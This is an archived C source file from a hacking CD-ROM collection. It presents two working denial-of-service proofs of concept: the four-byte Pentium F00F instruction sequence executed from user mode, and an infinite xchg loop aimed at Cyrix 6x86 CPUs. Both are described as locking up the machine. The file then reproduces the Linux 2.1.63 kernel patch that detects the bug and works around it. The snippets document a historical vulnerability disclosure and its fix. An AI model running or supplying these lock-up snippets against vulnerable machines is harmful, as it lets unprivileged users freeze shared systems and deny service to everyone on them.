home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / pentium_bug.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  8.3 KB  |  268 lines

  1.  
  2. /*
  3.  
  4. If you execute F0 0F C7 C8 on a P5 it will lock the
  5. machine up.  This is true for any operating system including usermode
  6. Linux.  It's pretty cool.  Basically, the opcodes are an invalid form of
  7. cmpxchg8b eax with a lock prefix.  
  8.  
  9. See http://www.rootshell.com/
  10.  
  11. This code has been tested under Windows NT4 and Linux running on Pentium
  12. and Pentium MMX cpus.  This will NOT work on Pentium Pro and Pentium II,
  13. AMD K6 and Cyrix 6x86 cpus.
  14.  
  15. Code by whiz <whizpig@TIR.COM>
  16.  
  17. */
  18.  
  19.  
  20. char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
  21.  
  22. main ()
  23. {
  24.        void (*f)() = x;
  25.  
  26.        f();
  27. }
  28.  
  29. ----------------------------------------------------------------------------
  30.  
  31.    For Cyrix 6x86 Processors:
  32.  
  33.  
  34. static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};
  35.  
  36. main()
  37. {
  38. asm ("movl      $c, %ebx\n\t"
  39. "again: xchgl   (%ebx), %eax\n\t"
  40.         "movl   %eax, %edx\n\t"
  41.         "jmp    again\n\t");
  42. }
  43.  
  44.  
  45. ----------------------------------------------------------------------------
  46.  
  47.  
  48. This are the relevant parts of the linux kernel 2.1.63 patch that fix the
  49. Pentium bug that Alan mentioned.
  50.  
  51. Aleph One / aleph1@dfw.net
  52. http://underground.org/
  53. KeyID 1024/948FD6B5
  54. Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
  55.  
  56. diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/setup.c linux/arch/i386/kernel/setup.c
  57. --- v2.1.62/linux/arch/i386/kernel/setup.c      Tue Sep 23 16:48:46 1997
  58. +++ linux/arch/i386/kernel/setup.c      Wed Nov 12 11:09:56 1997
  59. @@ -42,6 +42,7 @@
  60.  char x86_mask = 0;             /* set by kernel/head.S */
  61.  int x86_capability = 0;                /* set by kernel/head.S */
  62.  int fdiv_bug = 0;              /* set if Pentium(TM) with FP bug */
  63. +int pentium_f00f_bug = 0;      /* set if Pentium(TM) with F00F bug */
  64.  int have_cpuid = 0;             /* set if CPUID instruction works */
  65.  
  66.  char x86_vendor_id[13] = "unknown";
  67. @@ -359,6 +360,7 @@
  68.                                         "fdiv_bug\t: %s\n"
  69.                                         "hlt_bug\t\t: %s\n"
  70.                                        "sep_bug\t\t: %s\n"
  71. +                                      "pentium_f00f_bug\t\t: %s\n"
  72.                                         "fpu\t\t: %s\n"
  73.                                         "fpu_exception\t: %s\n"
  74.                                         "cpuid\t\t: %s\n"
  75. @@ -367,6 +369,7 @@
  76.                                         CD(fdiv_bug) ? "yes" : "no",
  77.                                         CD(hlt_works_ok) ? "no" : "yes",
  78.                                        sep_bug ? "yes" : "no",
  79. +                                      pentium_f00f_bug ? "yes" : "no",
  80.                                         CD(hard_math) ? "yes" : "no",
  81.                                         (CD(hard_math) && ignore_irq13)
  82.                                           ? "yes" : "no",
  83. diff -u --recursive --new-file v2.1.62/linux/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c
  84. --- v2.1.62/linux/arch/i386/kernel/traps.c      Sun Sep  7 13:10:42 1997
  85. +++ linux/arch/i386/kernel/traps.c      Wed Nov 12 11:09:56 1997
  86. @@ -413,6 +413,51 @@
  87.  
  88.  #endif /* CONFIG_MATH_EMULATION */
  89.  
  90. +static struct
  91. +{
  92. +       short limit __attribute__((packed));
  93. +       void * addr __attribute__((packed));
  94. +       short __pad __attribute__((packed));
  95. +} idt_d;
  96. +
  97. +void * idt2;
  98. +
  99. +__initfunc(void trap_init_f00f_bug(void))
  100. +{
  101. +       pgd_t * pgd;
  102. +       pmd_t * pmd;
  103. +       pte_t * pte;
  104. +       unsigned long twopage;
  105. +
  106. +       printk("moving IDT ... ");
  107. +
  108. +       twopage = (unsigned long) vmalloc (2*PAGE_SIZE);
  109. +
  110. +       idt2 = (void *)(twopage + 4096-7*8);
  111. +
  112. +       memcpy(idt2,&idt,sizeof(idt));
  113. +
  114. +       idt_d.limit = 256*8-1;
  115. +       idt_d.addr = idt2;
  116. +       idt_d.__pad = 0;
  117. +
  118. +        __asm__ __volatile__("\tlidt %0": "=m" (idt_d));
  119. +
  120. +       /*
  121. +        * Unmap lower page:
  122. +        */
  123. +       pgd = pgd_offset(current->mm, twopage);
  124. +       pmd = pmd_offset(pgd, twopage);
  125. +       pte = pte_offset(pmd, twopage);
  126. +
  127. +       pte_clear(pte);
  128. +       flush_tlb_all();
  129. +
  130. +       printk(" ... done\n");
  131. +}
  132. +
  133. +
  134. +
  135.  __initfunc(void trap_init(void))
  136.  {
  137.         int i;
  138. diff -u --recursive --new-file v2.1.62/linux/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c
  139. --- v2.1.62/linux/arch/i386/mm/fault.c  Wed Oct 15 16:04:23 1997
  140. +++ linux/arch/i386/mm/fault.c  Wed Nov 12 11:09:55 1997
  141. @@ -74,6 +74,25 @@
  142.         return 0;
  143.  }
  144.  
  145. +asmlinkage void divide_error(void);
  146. +asmlinkage void debug(void);
  147. +asmlinkage void nmi(void);
  148. +asmlinkage void int3(void);
  149. +asmlinkage void overflow(void);
  150. +asmlinkage void bounds(void);
  151. +asmlinkage void invalid_op(void);
  152. +
  153. +asmlinkage void do_divide_error (struct pt_regs *, unsigned long);
  154. +asmlinkage void do_debug (struct pt_regs *, unsigned long);
  155. +asmlinkage void do_nmi (struct pt_regs *, unsigned long);
  156. +asmlinkage void do_int3 (struct pt_regs *, unsigned long);
  157. +asmlinkage void do_overflow (struct pt_regs *, unsigned long);
  158. +asmlinkage void do_bounds (struct pt_regs *, unsigned long);
  159. +asmlinkage void do_invalid_op (struct pt_regs *, unsigned long);
  160. +
  161. +extern int * idt2;
  162. +extern int pentium_f00f_bug;
  163. +
  164.  /*
  165.   * This routine handles page faults.  It determines the address,
  166.   * and the problem, and then passes it off to one of the appropriate
  167. @@ -170,6 +189,46 @@
  168.                 goto out;
  169.         }
  170.  
  171. +       printk("<%p/%p>\n", idt2, (void *)address);
  172. +       /*
  173. +        * Pentium F0 0F C7 C8 bug workaround:
  174. +        */
  175. +       if ( pentium_f00f_bug && (address >= (unsigned long)idt2) &&
  176. +                       (address < (unsigned long)idt2+256*8) ) {
  177. +
  178. +               void (*handler) (void);
  179. +               int nr = (address-(unsigned long)idt2)/8;
  180. +               unsigned long low, high;
  181. +
  182. +               low = idt[nr].a;
  183. +               high = idt[nr].b;
  184. +
  185. +               handler = (void (*) (void)) ((low&0x0000ffff) | (high&0xffff0000));
  186. +               printk("<handler %p... ", handler);
  187. +               unlock_kernel();
  188. +
  189. +               if (handler==divide_error)
  190. +                       do_divide_error(regs,error_code);
  191. +               else if (handler==debug)
  192. +                       do_debug(regs,error_code);
  193. +               else if (handler==nmi)
  194. +                       do_nmi(regs,error_code);
  195. +               else if (handler==int3)
  196. +                       do_int3(regs,error_code);
  197. +               else if (handler==overflow)
  198. +                       do_overflow(regs,error_code);
  199. +               else if (handler==bounds)
  200. +                       do_bounds(regs,error_code);
  201. +               else if (handler==invalid_op)
  202. +                       do_invalid_op(regs,error_code);
  203. +               else {
  204. +                       printk("INVALID HANDLER!\n");
  205. +                       for (;;) __cli();
  206. +               }
  207. +               printk("... done>\n");
  208. +               goto out;
  209. +       }
  210. +
  211.         /* Are we prepared to handle this kernel fault?  */
  212.         if ((fixup = search_exception_table(regs->eip)) != 0) {
  213.                 printk(KERN_DEBUG "%s: Exception at [<%lx>] cr2=%lx (fixup: %lx)\n",
  214. @@ -193,6 +252,7 @@
  215.                 flush_tlb();
  216.                 goto out;
  217.         }
  218. +
  219.         if (address < PAGE_SIZE)
  220.                 printk(KERN_ALERT "Unable to handle kernel NULL pointer dereference");
  221.         else
  222. diff -u --recursive --new-file v2.1.62/linux/include/asm-i386/bugs.h linux/include/asm-i386/bugs.h
  223. --- v2.1.62/linux/include/asm-i386/bugs.h       Thu Sep 11 09:02:24 1997
  224. +++ linux/include/asm-i386/bugs.h       Wed Nov 12 11:09:55 1997
  225. @@ -166,6 +166,32 @@
  226.         }
  227.  }
  228.  
  229. +/*
  230. + * All current models of Pentium and Pentium with MMX technology CPUs
  231. + * have the F0 0F bug, which lets nonpriviledged users lock up the system:
  232. + */
  233. +
  234. +extern int pentium_f00f_bug;
  235. +
  236. +__initfunc(static void check_pentium_f00f(void))
  237. +{
  238. +       /*
  239. +        * Pentium and Pentium MMX
  240. +        */
  241. +       printk("checking for F00F bug ...");
  242. +       if(x86==5 && !memcmp(x86_vendor_id, "GenuineIntel", 12))
  243. +       {
  244. +               extern void trap_init_f00f_bug(void);
  245. +
  246. +               printk(KERN_INFO "\nIntel Pentium/[MMX] F0 0F bug detected - turning on workaround.\n");
  247. +               pentium_f00f_bug = 1;
  248. +               trap_init_f00f_bug();
  249. +       } else {
  250. +               printk(KERN_INFO " no F0 0F bug in this CPU, great!\n");
  251. +               pentium_f00f_bug = 0;
  252. +       }
  253. +}
  254. +
  255.  __initfunc(static void check_bugs(void))
  256.  {
  257.         check_tlb();
  258. @@ -173,5 +199,6 @@
  259.         check_hlt();
  260.         check_popad();
  261.         check_amd_k6();
  262. +       check_pentium_f00f();
  263.         system_utsname.machine[1] = '0' + x86;
  264.  }
  265.  
  266.  
  267.  
  268.